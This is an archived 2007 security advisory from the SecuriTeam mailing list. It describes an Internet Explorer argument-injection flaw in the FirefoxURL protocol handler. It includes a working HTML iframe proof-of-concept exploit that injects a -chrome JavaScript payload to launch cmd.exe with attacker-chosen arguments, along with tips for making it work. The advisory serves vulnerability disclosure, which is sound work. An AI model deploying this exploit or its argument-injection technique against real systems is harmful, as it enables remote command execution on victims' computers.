

[NT] Internet Explorer Cross Browser Vulnerability (FirefoxURL)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2007-07/msg00019.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxxxx>
 - *Date:* 10 Jul 2007 13:54:32 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

Internet Explorer Cross Browser Vulnerability (FirefoxURL)

SUMMARY

There is an input validation flaw in Internet Explorer that allows you to specify arbitrary arguments to the process responsible for handling URL protocols.

DETAILS

When Firefox is installed it registers a URL protocol handler called "FirefoxURL". A typical shell open command for this handler is as follows:
[HKEY_CLASSES_ROOT\FirefoxURL\shell\open\command\@]
C:\\PROGRA~1\\MOZILL~2\\FIREFOX.EXE -url "%1" -requestPending

When Internet Explorer encounters a reference to content inside the FirefoxURL URL scheme it calls ShellExecute with the EXE image path and passes the entire request URI without any input validation. A request such as the following

FirefoxURL://foo" -argument "my value

will result in the following command line being used to launch Firefox

[NT] Internet Explorer Cross Browser Vulnerability (FirefoxURL)

```
"C:\PROGRA~1\MOZILL~2\FIREFOX.EXE" -url "firefoxurl://foo" -argument  
"my value/" -requestPending
```

As can be evidenced it is possible to specify arbitrary arguments to the "firefox.exe" process. This is where the "-chrome" command line argument comes in handy, as it allows us to specify arbitrary Javascript code which is then executed within the privileges of trusted Chrome content.

The exploit that Thor Larholm developed for Safari simply opened CMD.EXE without specifying any arguments, an exercise that was left for the reader. For this exploit Thor Larholm has chosen to demonstrate how you can specify process arguments with the nsIProcess interface found in Mozilla.

The details can be found in the @mozilla.org/process/util;1 component and the nsIProcess interface. nsIProcess takes 3 arguments:

- * Blocking: Whether to wait until the process terminates before returning or not
- * args: An array of arguments to pass to the process
- * count: The length of the args array

As with the previous exploit it is necessary to HTML escape any characters which cannot be used directly inside the URL or the command line, such as commas and quotes. For demonstration purposes Thor Larholm has chosen to escape these characters with both HTML entities and dynamic string construction.

Billy Rios already highlighted a few of the shortcomings with the FirefoxURL protocol handler in Cross Browser Scripting Demo . The following proof-of-concept exploit takes this reasoning to its logical conclusion, namely command execution with arbitrary arguments.

```
<html><body>  
<iframe src= firefoxurl://larholm.com -chrome  
javascript:C=Components.classes;I=Components.interfaces;  
  
file=C[&#39;@mozilla.org/file/local;1&#39;].createInstance(I.nsILocalFile);  
  
file.initWithPath(&#39;C:&#39;+String.fromCharCode(92)+String.fromCharCode(92)+&#39;Windows&#39;+  
String.fromCharCode(92)+String.fromCharCode(92)+&#39;System32&#39;+String.fromCharCode(92)+  
String.fromCharCode(92)+&#39;cmd.exe&#39;);  
  
process=C[&#39;@mozilla.org/process/util;1&#39;].createInstance(I.nsIProcess);  
process.init(file);  
  
process.run(true&#44;[&#39;/k%20echo%20hello%20from%20larholm.com&#39;]&#44;1);  
&#39;><  
</body></html>
```

[NT] Internet Explorer Cross Browser Vulnerability (FirefoxURL)

Remember to remove the line breaks if you want the exploit to work, they are only there for cosmetic reasons. You can also test this exploit at <http://larholm.com/vuln/firefoxurl.html>

ADDITIONAL INFORMATION

The information has been provided by Thor Larholm.
The original article can be found at:
<http://larholm.com/2007/07/10/internet-explorer-0day-exploit/>

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@xxxxxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxxx

=====
=====

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.